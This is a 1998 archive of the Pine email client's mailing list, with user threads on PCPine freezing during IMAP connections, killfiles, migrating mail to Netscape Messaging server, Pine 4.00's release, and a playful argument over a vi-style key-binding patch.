From pinedev@shiva0.cac.washington.edu Mon Jun 1 09:15:19 1998 -0700

From [email protected] Mon Jun 1 09:15:19 1998 -0700
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From: Jessica Perry Hekman <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: PCPine and hanging IMAP connection
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I have a request for the developers out there: I've observed that when
PCPine (3.96) tries to connect to its IMAP server and gets a slow
connection, it ties up my entire machine (Windows 95, and unfortunately
upgrading to NT may not be an option). In other words, I can't use other
applications while waiting for that server response. I'm assuming, of
course, that I'm not missing some configuration option :)

Is there any chance of getting this fixed in a future release?

---
Jessica Perry Hekman * http://www.arborius.net/~jphekman/
Composed with DragonDictate

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From [email protected] Mon Jun 1 10:57:45 1998 -0700
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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PCPine and hanging IMAP connection
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>From: Jessica Perry Hekman <[email protected]>
>Date: Mon, 1 Jun 1998 12:05:22 -0400 (Eastern Daylight Time)

>I have a request for the developers out there: I've observed that when PCPine
>(3.96) tries to connect to its IMAP server and gets a slow connection, it ties
>up my entire machine (Windows 95, and unfortunately upgrading to NT may not be
>an option).

The behavior of attempting to connect to a slow server is the same on NT or Unix
Pine, for that matter. I agree that it's annoying not to be able to run such a
process in background.

From [email protected] Mon Jun 1 11:20:58 1998 -0700
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From: Edan Idzerda <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PCPine and hanging IMAP connection
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On Mon, 1 Jun 1998, Adam H. Kerman wrote:

> The behavior of attempting to connect to a slow server is the same on NT or Unix
> Pine, for that matter. I agree that it's annoying not to be able to run such a
> process in background.

It hangs your entire Unix machine? That is what the original author wrote about
a Win95 box, and I highly doubt that Unix Pine connecting to a IMAP server
hangs the entire machine. It certainly will hang your Pine session, of course.

I did grow tired of waiting for Pine's "status updating" to complete--pine
would suddenly freeze in the middle of reading a message, and usually when
I wanted to go to the next page :) But I moved my mailbox to a different server
and shrunk it down... now the wait is shorter so I don't care.

I wonder if there is a way to make that update asynchronous--it seems
like a fair trade off to make the inbox "(READONLY)" while the update is
occurring, but I suppose you would either need to make Pine multithreaded,
and have that mess of different platforms, or fork another Pine process and
use shared memory... and have that mess of different platforms.

So it doesn't surprise me that it hasn't been done yet :)

- edan

--
Edan Idzerda <[email protected]>
System Administrator -- Michigan Technological University, Houghton MI USA
It seemed like a good idea, at the time.

From [email protected] Mon Jun 1 11:44:23 1998 -0700
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From: Jessica Perry Hekman <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PCPine and hanging IMAP connection
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On Mon, 1 Jun 1998, Edan Idzerda wrote:

> I wonder if there is a way to make that update asynchronous--it seems
> like a fair trade off to make the inbox "(READONLY)" while the update is
> occurring, but I suppose you would either need to make Pine multithreaded,
> and have that mess of different platforms, or fork another Pine process and
> use shared memory... and have that mess of different platforms.

I'd definitely settle for being able to use other applications while
PCpine works. Unix users should already be able to do this by hopping to
another window. (Notice I'm assuming everyone uses X. This is probably a
faulty assumption, but there you go :)

---
Jessica Perry Hekman * http://www.arborius.net/~jphekman/
Composed with DragonDictate

From [email protected] Tue Jun 2 10:02:47 1998 -0700
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From: Vinnie Chassot <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: killfiles
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I know this has been discussed before, but I suck and didn't save the
info. I tried searching the archived message database, but I only came up
with one of robin's .sigs. And Robin's page is down.

So I ask the stupid, FAQ which is not in the FAQ

Are we getting killfiles? Do we already have killfiles (I was told by
someone that pine does, but having read through the helpfiles and the man
page more times than I want to know, I'm sure I would have noticed) and we
just don't know it? When?

Vinnie

--
[email protected] System Administrator Epoch Internet
"It's more than just eye to eye
learn the things I could never apply" -- Least Complicated

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From [email protected] Tue Jun 2 10:24:51 1998 -0700
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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: killfiles
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>From: Vinnie Chassot <[email protected]>
>Date: Tue, 2 Jun 1998 09:54:36 -0700 (PDT)

>I know this has been discussed before, but I suck and didn't save the
>info. I tried searching the archived message database, but I only came up
>with one of robin's .sigs. And Robin's page is down.

Excuse me. Self flagellation is not permitted on this list. Please wait to
receive abuse through normal channels.

>Are we getting killfiles?

No.

>Do we already have killfiles (I was told by someone that pine does, but having
>read through the helpfiles and the man page more times than I want to know, I'm
>sure I would have noticed) and we just don't know it?

There is an FAQ describing how to use the killfile features of rn-style
newsreaders (trn, slrn, etc.) in batch-processing mode. This'll mark messages
accordingly in your .newsrc. Then, you can read news with pine.

It's posted to news.software.readers. Or get it from http://www.faq.org/ or ftp
it from rtfm.mit.edu.

From [email protected] Tue Jun 2 17:23:25 1998 -0700
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From: Kanipso <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PCPine and hanging IMAP connection
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-----BEGIN PGP SIGNED MESSAGE-----

I had the same problem and I changed these lines in my pinerc file.
The folder colloection line I added 143 (the port that most imap servers
run on). Then changed the rsh timeout to 0 (pine tries to connect via rsh
first). after that I haven't noticed any lag.

folder-collections=/user/j/jamallen/mail/[],
BARBZ {imap2.asu.edu:143/user=mattt}INBOX.[]

rsh-open-timeout=0

From: Jessica Perry Hekman <[email protected]>
Date: Mon, 1 Jun 1998 14:34:27 -0400 (Eastern Daylight Time)
To: Pine Discussion Forum <[email protected]>
Subject: Re: PCPine and hanging IMAP connection
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 1 Jun 1998, Edan Idzerda wrote:

> I wonder if there is a way to make that update asynchronous--it seems
> like a fair trade off to make the inbox "(READONLY)" while the update is
> occurring, but I suppose you would either need to make Pine
multithreaded,
> and have that mess of different platforms, or fork another Pine process
and
> use shared memory... and have that mess of different platforms.

I'd definitely settle for being able to use other applications while
PCpine works. Unix users should already be able to do this by hopping to
another window. (Notice I'm assuming everyone uses X. This is probably a
faulty assumption, but there you go :)

- ---
Jessica Perry Hekman * http://www.arborius.net/~jphekman/
Composed with DragonDictate

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[email protected] /_/ \ \ /,'
[email protected] / \_\ /'
[email protected]

PGP fingerprint = 33 08 75 BE 0B B0 69 EB 03 B4 A8 20 88 57 1C 60

Sitting in A room full of
candles thinking of
the people I
have
dismantled..

Sometimes You Bleed
just to know
your alive..

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From [email protected] Wed Jun 3 12:33:46 1998 -0700
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From: Pat Smith <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Pine---> Netscape transition
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Hi --

I have some customers who are currently reading mail using Pine. We
need to move them to a Netscape Messaging server environment. Does
anyone have experience moving the directories where users have filed
their mail when using Pine to the Netscape environment without disturbing
the directory structure. i.e., keep it transparent to the users?

Pine is in a SunOS environment and NS Messaging server is Solaris.

thanks in advance for help or pointers to help.

- pat smith

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From [email protected] Wed Jun 3 12:48:18 1998 -0700
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Pat Smith wrote:

> I have some customers who are currently reading mail using Pine. We
> need to move them to a Netscape Messaging server environment. Does
> anyone have experience moving the directories where users have filed
> their mail when using Pine to the Netscape environment without disturbing
> the directory structure. i.e., keep it transparent to the users?

I move back and forth between OINE and NETSCAPE MESSENGER transparently
all the time (I prefer Pine but Netscape gives me threading and hot
links). Both save their mail "folders" as plain text files. As long as
you set the Netscape local (or server if you are using IMAP) path to the
same location as the PINE folders you should be OK.

> Pine is in a SunOS environment and NS Messaging server is Solaris.
>
> thanks in advance for help or pointers to help.
>
> - pat smith
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------

--
-------|-------|-------|-------|-------|-------|-------|-------|-------|
Paul Kraus email [email protected]
IT Engineering voice +1 518 283 1003 ext. 2778
UNIFIED Technologies fax +1 518 283 1189

From [email protected] Wed Jun 3 12:58:46 1998 -0700
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This is helpful but I have additional questions. (note that I am not a sys
admin ... so may not phrase things correctly) Anyway, we are moving
all the users from one machine where they read mail in the Pine environment, to
another machine where Messaging svr is running. I suppose each (pine and mess
svr) have their own directory place to plop down the user directories. I
figured if one could just copy from one machine to the other and put them in
the correct place all would be well. Does this make sense? In the new
environment, the users will be a mix of POP3 with a variety of clients and
IMAP4 using Communicator.

Thanks for your response. - pat

Paul Kraus wrote:

> Pat Smith wrote:
>
> > I have some customers who are currently reading mail using Pine. We
> > need to move them to a Netscape Messaging server environment. Does
> > anyone have experience moving the directories where users have filed
> > their mail when using Pine to the Netscape environment without disturbing
> > the directory structure. i.e., keep it transparent to the users?
>
> I move back and forth between OINE and NETSCAPE MESSENGER transparently
> all the time (I prefer Pine but Netscape gives me threading and hot
> links). Both save their mail "folders" as plain text files. As long as
> you set the Netscape local (or server if you are using IMAP) path to the
> same location as the PINE folders you should be OK.
>
> > Pine is in a SunOS environment and NS Messaging server is Solaris.
> >
> > thanks in advance for help or pointers to help.
> >
> > - pat smith
> >
> > -----------------------------------------------------------------
> > For information about this mailing list, and its archives, see:
> > http://www.washington.edu/pine/pine-info/
> > -----------------------------------------------------------------
>
> --
> -------|-------|-------|-------|-------|-------|-------|-------|-------|
> Paul Kraus email [email protected]
> IT Engineering voice +1 518 283 1003 ext. 2778
> UNIFIED Technologies fax +1 518 283 1189

From [email protected] Wed Jun 3 14:40:50 1998 -0700
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From: Jessica Perry Hekman <[email protected]>
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Subject: Re: PCPine and hanging IMAP connection
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On Tue, 2 Jun 1998, Kanipso wrote:

> I had the same problem and I changed these lines in my pinerc file.
> The folder colloection line I added 143 (the port that most imap servers
> run on). Then changed the rsh timeout to 0 (pine tries to connect via rsh
> first). after that I haven't noticed any lag.

I tried this and saw no difference. Maybe it depends on your local network
setup?

---
Jessica Perry Hekman * http://www.arborius.net/~jphekman/
Composed with DragonDictate

From [email protected] Wed Jun 3 15:06:34 1998 -0700
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On Wed, 3 Jun 1998, Jessica Perry Hekman wrote:

> On Tue, 2 Jun 1998, Kanipso wrote:
>
> > I had the same problem and I changed these lines in my pinerc file.
> > The folder colloection line I added 143 (the port that most imap servers
> > run on). Then changed the rsh timeout to 0 (pine tries to connect via rsh
> > first). after that I haven't noticed any lag.
>
> I tried this and saw no difference. Maybe it depends on your local network
> setup?

I think that "Kanipso" failed to realize that you were using PCPine.
At least, I don't believe that PC's use "rsh" to do anything, not unless
you've set up some funky cygwin32-opennt thing.

I agree that it sucks that you can't do anything else while it is connecting,
but I'm no crack dos/windoze programmer so I can't help you much. Run
Linux? :-)

- edan

From [email protected] Thu Jun 4 00:31:24 1998 -0700
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Come on folks, the announcement was made THREE months ago that ``Development
of Pine 4.00 is nearing completion''

An email was sent to the PINE-announce list, and a webpage was started.

Then three months of "Real Soon Now" to break up the otherwise defeaning silence.

No followup messages, the web page hasn't changed since it went live.

Is this thing coming out within the next month or not?

TjL

--
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From [email protected] Thu Jun 4 08:55:47 1998 -0700
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Date: Thu, 04 Jun 1998 16:51:15 +0100
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From: "Mike Brudenell" <[email protected]>
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Subject: Pine 4.00: Will it have True Threading?
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Hi!

Does anybody know/can anyone remember whether Pine 4.00 will have proper
threading for reading Usenet News (as against the current Ordered Subject
approximation)?

I've checked the Pine 4.00 Preview page at the Pine Information Centre but
threading isn't mentioned (as far as I can see) one way or the other.

Cheers,

Mike B-)
--
The Computing Service, University of York, Heslington, York Yo10 5DD, UK
Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/

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From [email protected] Thu Jun 4 09:29:37 1998 -0700
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From: "Adam H. Kerman" <[email protected]>
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Subject: Re: Pine 4.00: Will it have True Threading?
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>From: Mike Brudenell <[email protected]>
>Date: Thu, 04 Jun 1998 16:51:15 +0100

>Does anybody know/can anyone remember whether Pine 4.00 will have proper
>threading for reading Usenet News?

I'd rather have it order mail messages where In-Reply-To headers exist. If they
don't, I'd like to have the ability to select additional messages while I'm
reading, not just from the Index screen.

From [email protected] Thu Jun 4 21:45:07 1998 -0700
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From: Edan Idzerda <[email protected]>
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Subject: vi-style key bindings
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Call me evil, call me what you will, but I wrote a patch a while
back to use vi-style key bindings, primarily just so that j/k
would duplicate n/p.

I wrote it as a new 'feature' called enable-vi-keys and it seems
to work quite well. I wanted to actually change the behavior of
the global key input function, but it didn't have access to the
"state" variable so I just hacked it in all the different modules
I wanted it to work in.

I was a long time Elm user, and I've used this feature to convert
a number of others... what are the chances that something like this
could be worked into the production tree?

I'm willing to rewrite my patches in a way that changes fewer
files, but again it seemed to require too great a change to
read_char() in ttyin.c.

Instead, I chose to add sections of code like:

if(F_ON(F_ENABLE_VI_KEYS,state)) {
if (command == 'j')
command = 'n';
else if (command == 'k')
command = 'p';
}

To places where I wanted to circumvent Pine's regular
keystrokes with vi-style ones. Surprisingly, the main menu
is the only place with significant conflicts (that I could tell).
Sure, the index has "j" for jump by default, but if you're
an Elm user you'll just want to type the number anyway.

Did I miss an address for patches? Or does the development
team like to keep code changes to within their castle? In
any event, my patches are just a trivial but nice addition to
a fine program.

- edan

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From [email protected] Thu Jun 4 22:43:43 1998 -0700
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From: Edan Idzerda <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: vi-style key bindings
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On Fri, 5 Jun 1998, Edan Idzerda wrote:

> Call me evil, call me what you will, but I wrote a patch a while
> back to use vi-style key bindings, primarily just so that j/k
> would duplicate n/p.

Call me silly, replying to my own email.

Shortly after I sent this message, I went back to the source
to examine it again. If I had been more patient I wouldn't
have sent the message.

My original patchset modified
addrbook.c
folder.c
init.c
mailcmd.c
mailindx.c
other.c
pine.h

Now I only modify
init.c (one line added)
ttyin.c (six lines added)
pine.h (one line added, one line changed)

The only difference is that the original patchset allowed
j/k to be used at any time, except in the folder index where
it would check the state. Now the only problem is that
j/k are now always replaced with n/p, even when inputing
text. Bummer :)

If anyone is interested in this sort of thing, let me know.
These sort of vi-key bindings really get user-interface messy
on the "MAIN MENU" screen where you have J)ournal and K)eyboard
lock. But everywhere else, it's no problem.

The last time I worked on it, I just didn't let vi keys work
on the main menu, since I always pick the letter away.

Blah. That's enough out of me for tonight.

- edan

From [email protected] Fri Jun 5 03:01:28 1998 -0700
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Date: Fri, 5 Jun 1998 11:31:51 +0200 (CEST)
Reply-To: Florian Kolbe <[email protected]>
Sender: [email protected]
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From: Florian Kolbe <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: To: vs. X-To: ('To:' entry missing domain)
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I got an e-mail where the 'To:' entry was missing the domain (see below).
Pine simply added my own default domain when displaying the simple header.
The resulting 'To:' address is simply wrong.
Why doesn't pine use the 'X-To:' entry? (see full header below)

Cheers,

Florian Kolbe

Full header (partial, note 'To:' entry missing domain):

From: "Mike Brudenell" <[email protected]>
To: Pine Discussion Forum <pine-info>
Subject: Pine 4.00: Will it have True Threading?
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Simple header ('To:' entry is wrong):

Date: Thu, 4 Jun 1998 16:51:15 +0100
From: Mike Brudenell <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Pine 4.00: Will it have True Threading?

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From [email protected] Fri Jun 5 07:23:11 1998 -0700
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Fri, 5 Jun 1998 14:16:41 GMT
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From: "Colin J. Raven" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: vi-style key bindings
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> Call me evil, call me what you will, but I wrote a patch a while
> back to use vi-style key bindings, primarily just so that j/k
> would duplicate n/p.
Yes, you are evil if you bring *anything* from that accursed pox-ridden
son of Beelzebub called vi

> I wrote it as a new 'feature' called enable-vi-keys and it seems
> to work quite well.
Now I am definitely in awe. Anyone who can write "features" just acquired
God-like status in my eyes, but please go on....sorry to interrupt.

>I wanted to actually change the behavior of
> the global key input function, but it didn't have access to the
> "state" variable so I just hacked it in all the different modules
> I wanted it to work in.
Er, OK I guess. Hacking *anything* in a mail program is an accomplishment.
You have just become elevated to "Deity" status. I am not only in awe, now
I'm afraid, very afraid.

> I was a long time Elm user,
At the risk of seeming somewhat small minded here (I am, I like Pine a
helluva lot) you are a long time...what now??? "Elm User"??? Did I hear
you correctly?

> and I've used this feature to convert a number of others...
"Convert others"?? To what Edan, Devil Worship???

> what are the chances that something like
> this could be worked into the production tree?
I cannot speak for my superhero Stefan, and his band of caped crusaders
coding a new Pine long into the night, BUT.........No! There is no chance
that any arcane vi attribute will *ever* find it's way into the king of
all mail programs.

> my patches are just a trivial but nice addition to
> a fine program.
Edan, lest you think I'm just lashing out in a fit of blind bigotry, I'm
*not*
The fact that you know enough to write patches to a mail program is
awesome in my mind (and I'm *not* kidding, believe me) but here's the
point as I see it.
Pine represents a step forward, from it's first iteration onwards to this
version which is "about as good as it gets". It's intuitive, it just
"knows" what users want to do (or it's development team do anyway). Elm is
about the most infuriating mail program you could ever find. It 'aint
intuitive, it's kludgy, and it's learning curve sucks.
vi blows dead monkeys period. You couldn't ask for a more obscure editor
than vi. It's quirky, and requires a thought process that could best be
described as "lateral" in order to use it properly. Why would you want to
import features from packages like that I wonder?
Pine and pico have on-screen help that allows some real new folks to get
up and running in a heartbeat, and is sufficiently powerful to allow
sophisticated users to process huge amounts of mail rapidly and
efficiently.
When you think "obscure" most people think of emacs...nosir, vi takes the
first prize. Emacs is at least a gift from the gods in that it has "power"
to do amazing things. (ask Robin)
Nononono, if you want a text editor that the average person can use,
quickly and effectively, Pico is the way to go. If you want real power,
learn emacs.
Gawd, why do I always rise to the bait?
Edan, I salute you for the try...really. Spend those awesome talents on
worthwhile projects.
I'm going to lubricate my Pelican now, he looks kinda hungry.
-Colin.
----------------------------------------------
Colin J. Raven
Network & Systems Administrator, HDS Lab, Inc.
Costa Mesa, CA | Harrison, NY
"Communications at the Speed of Life"

From [email protected] Fri Jun 5 13:29:39 1998 -0700
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From: "Robin S. Socha" <[email protected]>
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Subject: Re: vi-style key bindings
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> Colin J Raven <[email protected]> writes:

>> Call me evil, call me what you will, but I wrote a patch a while
>> back to use vi-style key bindings, primarily just so that j/k would
>> duplicate n/p.
> Yes, you are evil if you bring *anything* from that accursed
> pox-ridden son of Beelzebub called vi

"Conversations devolve to 'vi' for much the same reason that small
children eventually start discussing excrement. As disgusting as it
is, there is a horrid fascination with it." (Joseph M. Newcomer)

[stuff]
>> what are the chances that something like this could be worked into
>> the production tree?
> I cannot speak for my superhero Stefan, and his band of caped
> crusaders coding a new Pine long into the night, BUT.........No!
> There is no chance that any arcane vi attribute will *ever* find
> it's way into the king of all mail programs.

I don't quite agree. There is much elegance in vi's movement
keymapping. tin has nice movement keybindings, too. Pine does
not. YMMV.

>> my patches are just a trivial but nice addition to a fine program.
> [blabla] Pine represents a step forward, from it's first iteration
> onwards to this version which is "about as good as it gets". It's
> intuitive, it just "knows" what users want to do (or it's
> development team do anyway).

Not in my opinion. There are some minor but quite annoying quirks in
pine's initial behaviour, e.g. the signature thing and pico's utterly
braindead yanking behaviour.

[elm bashing]
> vi blows dead monkeys period. You couldn't ask for a more obscure
> editor than vi. It's quirky, and requires a thought process that
> could best be described as "lateral" in order to use it
> properly.

That is not entirely correct. vi (and vim in particular) is a very,
very good editor. It's certainly not "user friendly", but which good
program is?

> Why would you want to import features from packages like that I
> wonder?

Because it's fast and efficient.

> Pine and pico have on-screen help that allows some real new folks to
> get up and running in a heartbeat, and is sufficiently powerful to
> allow sophisticated users to process huge amounts of mail rapidly
> and efficiently.

Not. High volume mailing lists soon bring pine to a grinding halt and
pico is an abomination.[1] Unless you throw in procmail and vi or jed,
pine is quite unusable for larger amounts of mail. I get about 500
mails a day, and without Gnus, I would spend half my time writing
weighted score rules for procmail. Before I switched to Gnus, I had
about 900k of procmail code.

> When you think "obscure" most people think of emacs...nosir, vi
> takes the first prize.

Good boy.

> Emacs is at least a gift from the gods in that it has "power" to do
> amazing things. (ask Robin)

Ummm... nope. You always have to take into account that XEmacs is a
monster when it comes to sucking up resources.

robin@sushi:/usr/local/lib > du xemacs
58217 xemacs
robin@sushi:/usr/local/lib > du xemacs-21.0-b42/
16715 xemacs-21.0-b42

And that's without MULE and my personal elisp dir. Nope, you cannot
quite compare that. And there's this, too:

USER PID %CPU %MEM NI VSZ RSS SHRD TT STAT TIME COMMAND
robin 278 5.4 23.1 0 20356 14672 2332 9 S 330:59 xemacs
robin 12075 0.0 1.2 0 1468 784 620 p0 S 0:00 vi
robin 12116 0.0 1.5 0 2900 1012 784 p0 S 0:00 pine

> Nononono, if you want a text editor that the average person can use,
> quickly and effectively, Pico is the way to go.

mcedit, fte, joe (jmacs, jstar), jed... There are many that are about
as big and much more powerful. I find mcedit (Midnight Commander's
editor) a very interesting alternative in that it much behaves like
the editor in Norton Commander. Nice tool.

local/lib > for i in pico vim jove xemacs-21.0-b42 jed ;\
do ll `which $i` ; done
-rwxr-xr-x 1 root root 3907308 May 31 11:09 /usr/bin/xemacs-21.0-b42
-rwxr-xr-x 1 root root 442531 May 9 05:02 /usr/bin/pico
-rwxr-xr-x 1 root root 321064 Nov 14 1997 /usr/bin/vim
-rwxr-xr-x 1 root root 175187 Nov 15 1997 /usr/bin/jove
-rwxr-xr-x 1 root root 187512 Jun 13 1995 /usr/bin/jed

So... pine and jed would make a wonderful pair, especially since jed
comes with a WordStar mode... *sigh*

> If you want real power, learn emacs. Gawd, why do I always rise to
> the bait?

Editor envy? "Mine is bigger than anyone else's", y'know?

> Edan, I salute you for the try...really. Spend those awesome talents
> on worthwhile projects. I'm going to lubricate my Pelican now, he
> looks kinda hungry.

Is that, like, something you'd rather not talk about in public?

Robin

Footnotes:
[1] Whoever wrote it: don't take it personally.

--
Robin S. Socha Join the Fight: <http://www.enemy.org/>
Turn your Pentium into a gameboy...Type "WIN" at the prompt

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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: vi-style key bindings
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>From: "Robin S. Socha" <[email protected]>
>Date: 05 Jun 1998 22:04:12 +0200

>>Colin J Raven <[email protected]> writes:

>>>Call me evil, call me what you will, but I wrote a patch a while back to use
>>>vi-style key bindings, primarily just so that j/k would duplicate n/p.

>>Yes, you are evil if you bring *anything* from that accursed pox-ridden son of
>>Beelzebub called vi

Colin, you don't understand. "j and k" are used because of the arcane nature of
the keyboard we use, left to us from the original machine put together from
gears and levers attached to individual pieces of type. The gears and levers
didn't retract quickly enough in the original model, so a keyboard was designed
partly out of a desire to slow down users and partly to fit the type in.

Subsequent generations of typewriters solved that problem, actually within a
year or two. But, they reused the same key order. (There were other keyboards in
use, such as on a Monotype machine, operated entirely with the left hand! while
the right hand threw the levers that cast the type. Another keyboard, invented
by an Army technician during the WWII who claimed that a different arrangement
of the keys could speed up typing. After all, wars cannot be fought without
properly processing the paperwork. But, historians have proven that Mr. Dvorak
falsifyed his studies. QWERTY order will always be on keyboards.)

vi uses "j" and "k" because they are next to each other on the keyboard! Which
is a damn good reason to use them. Terminals are still in use today that don't
have arrows, or with arrow keys with different key codes.

And, most keyboards stick the arrows in uncomfortable locations.

"n" and "p" have only a vague advantage over arrows on some keyboards. But, "j"
and "k" have a clear advantage.

pine really doesn't use neumonics for key bindings. Yes, "j" stands for "jump",
but that's a silly thing to call a command.

"k" isn't used in the index or the message pager. In the composer, it stands for
"kut" so ^c could be used for "cancel".

>I don't quite agree. There is much elegance in vi's movement keymapping. tin
>has nice movement keybindings, too. Pine does not. YMMV.

You start using vi (well, vim really these days) and your fingers learn the
commands. It does follow a design which becomes clear AFTER you get used to it.
It really doesn't take that long.

>Not in my opinion. There are some minor but quite annoying quirks in
>pine's initial behaviour, e.g. the signature thing and pico's utterly
>braindead yanking behaviour.

That's leftover from slow modem days. It's a helpful feature at 1200 or 2400.

>High volume mailing lists soon bring pine to a grinding halt . . .

Robin, who would want to use pine for use with large lists?

>I get about 500 mails a day, and without Gnus, I would spend half my time
>writing weighted score rules for procmail. Before I switched to Gnus, I had
>about 900k of procmail code.

How on earth do people receive that much mail? If I'm on a talky list that I
don't keep up with, I trash it.

>So... pine and jed would make a wonderful pair, especially since jed
>comes with a WordStar mode... *sigh*

Heh. On DOS, I still use PC-Write, written by an ex-WordStar encoder.

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From: Edan Idzerda <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: vi-style key bindings
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On Sat, 6 Jun 1998, Adam H. Kerman wrote:

> "n" and "p" have only a vague advantage over arrows on some keyboards.
> But, "j" and "k" have a clear advantage.

I agree wholeheartedly. I prefer j/k over n/p because it allows my
fingers to remain on the home row and doesn't feel like it will lead to
a repetitive motion injury. There's that, and the fact that I'm using
vi right now.

In fact, it was Pine's enable-alt-editor-implicity feature that
helped cement my transition to it from Elm. With Pine, in most
cases I could now go from folder index to message editor just by hitting 'r'
and you have to love that.

I'm a Pine Evangelist around here. My vi-keys patch is part of how I
lure hardened Elm users away. Frankly, I find Pine without j/k
kind of lame now. Did I mention I was using vi right now?

I've got my patch down to three files, so that

'j' -> 'n'
'k' -> 'p'
'/' -> 'w'

The only conflict I'm aware of is the main menu. I haven't
decided how to resolve it. You end up losing (J)ournal which I think
is a useful function occassionally. You also lose (K)eyboard lock,
but I don't really care :)

I also presume that if you want vi keys, you don't use the builtin pico.

A full-blown vi mode, where you can hit Esc and use vi editing
commands in parts of pine where you edit text... is definitely not
planned. >:)

I'm not going to get into a editor religious war, suffice to say
that I use vi because it's powerful and nasty and isn't a 20MB
binary. My pine patch is fairly inocuous and obvious is nature;
I just wondered if anyone in the Pine community would be interested.

- edan

p.s. Patching read_command instead of read_char was much smarter. :)

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From: "Colin J. Raven" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: vi-style key bindings
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OK Adam, Edan, here it is....
I'm basically stupid, lazy (or maybe too damn busy) to learn that beast
called vi. In the light of what Edan wrote, I fired up vi on Saturday
night, and actually read the book while playing with the thing.
Yeah, OK I see what you and he are saying.
Y'see, one of the effects of being so stupid is that it makes a person
very self-righteous in support of the "easy solution".
However.....somewhere along the way I thought things were supposed to be
as simple as possible.
You, Edan, Robin and many others are so far ahead of me it's ridiculous. I
guess editors that are more powerful are more appropriate when you're
doing advanced stuff. (ask Robin I guess)
*But* I *do* believe that an editor that you can use in any condition (and
that certainly applies to me) with immediate and predictable reults is the
one you stick with until you (or the editor) run outta steam. Same goes
for Elm I s'pose.
Believe it or not Adam, *that's* what I was getting at.
I'm just plain in awe of Edan and folks like him who can write C (to start
with) and can modify a mail programs' feature-set.
Well, that's my .02 worth for today...maybe.
-Colin.

On Sat, 6 Jun 1998, Adam H. Kerman wrote:

> >From: "Robin S. Socha" <[email protected]>
> >Date: 05 Jun 1998 22:04:12 +0200
>
> >>Colin J Raven <[email protected]> writes:
>
> >>>Call me evil, call me what you will, but I wrote a patch a while back to use
> >>>vi-style key bindings, primarily just so that j/k would duplicate n/p.
>
> >>Yes, you are evil if you bring *anything* from that accursed pox-ridden son of
> >>Beelzebub called vi
>
> Colin, you don't understand. "j and k" are used because of the arcane nature of
> the keyboard we use, left to us from the original machine put together from
> gears and levers attached to individual pieces of type. The gears and levers
> didn't retract quickly enough in the original model, so a keyboard was designed
> partly out of a desire to slow down users and partly to fit the type in.
>
> Subsequent generations of typewriters solved that problem, actually within a
> year or two. But, they reused the same key order. (There were other keyboards in
> use, such as on a Monotype machine, operated entirely with the left hand! while
> the right hand threw the levers that cast the type. Another keyboard, invented
> by an Army technician during the WWII who claimed that a different arrangement
> of the keys could speed up typing. After all, wars cannot be fought without
> properly processing the paperwork. But, historians have proven that Mr. Dvorak
> falsifyed his studies. QWERTY order will always be on keyboards.)
>
> vi uses "j" and "k" because they are next to each other on the keyboard! Which
> is a damn good reason to use them. Terminals are still in use today that don't
> have arrows, or with arrow keys with different key codes.
>
> And, most keyboards stick the arrows in uncomfortable locations.
>
> "n" and "p" have only a vague advantage over arrows on some keyboards. But, "j"
> and "k" have a clear advantage.
>
> pine really doesn't use neumonics for key bindings. Yes, "j" stands for "jump",
> but that's a silly thing to call a command.
>
> "k" isn't used in the index or the message pager. In the composer, it stands for
> "kut" so ^c could be used for "cancel".
>
> >I don't quite agree. There is much elegance in vi's movement keymapping. tin
> >has nice movement keybindings, too. Pine does not. YMMV.
>
> You start using vi (well, vim really these days) and your fingers learn the
> commands. It does follow a design which becomes clear AFTER you get used to it.
> It really doesn't take that long.
>
> >Not in my opinion. There are some minor but quite annoying quirks in
> >pine's initial behaviour, e.g. the signature thing and pico's utterly
> >braindead yanking behaviour.
>
> That's leftover from slow modem days. It's a helpful feature at 1200 or 2400.
>
> >High volume mailing lists soon bring pine to a grinding halt . . .
>
> Robin, who would want to use pine for use with large lists?
>
> >I get about 500 mails a day, and without Gnus, I would spend half my time
> >writing weighted score rules for procmail. Before I switched to Gnus, I had
> >about 900k of procmail code.
>
> How on earth do people receive that much mail? If I'm on a talky list that I
> don't keep up with, I trash it.
>
> >So... pine and jed would make a wonderful pair, especially since jed
> >comes with a WordStar mode... *sigh*
>
> Heh. On DOS, I still use PC-Write, written by an ex-WordStar encoder.
>
>

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From: "Colin J. Raven" <[email protected]>
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Subject: Re: vi-style key bindings
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Edan,
Read my post to Adam on this (it's really to you also)
> I'm a Pine Evangelist around here. My vi-keys patch is part of how I
> lure hardened Elm users away. Frankly, I find Pine without j/k
> kind of lame now.

AAAAAAARRRGGGHHHHHH! (You *had to* didn't you?) :-)
> Did I mention I was using vi right now?

Well, *now* you're talking...yup, that's true, no question. vi is lean 'an
mean.
> I'm not going to get into a editor religious war, suffice to say
> that I use vi because it's powerful and nasty and isn't a 20MB
> binary.

I say again (already said on the post to Adam) that I'm in awe of anyone
who can;
a) write C
b) write (or modify) feature-sets for a mail program
Yes, the patches *are* innocuous..absolutely.
> My pine patch is fairly inocuous and obvious is nature;
> I just wondered if anyone in the Pine community would be interested.
I wonder what Stefan thinks?
This list got real quiet suddenly :-) It's almost as though the spectators
became hushed, awaiting the spectacle of combat in the arena below :)
hahahaha!
I wasn't flaming you, I hope you realize that.
Later oh guru of C
-Colin

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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: vi-style key bindings
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>From: Edan Idzerda <[email protected]>
>Date: Mon, 8 Jun 1998 03:02:52 -0400 (EDT)

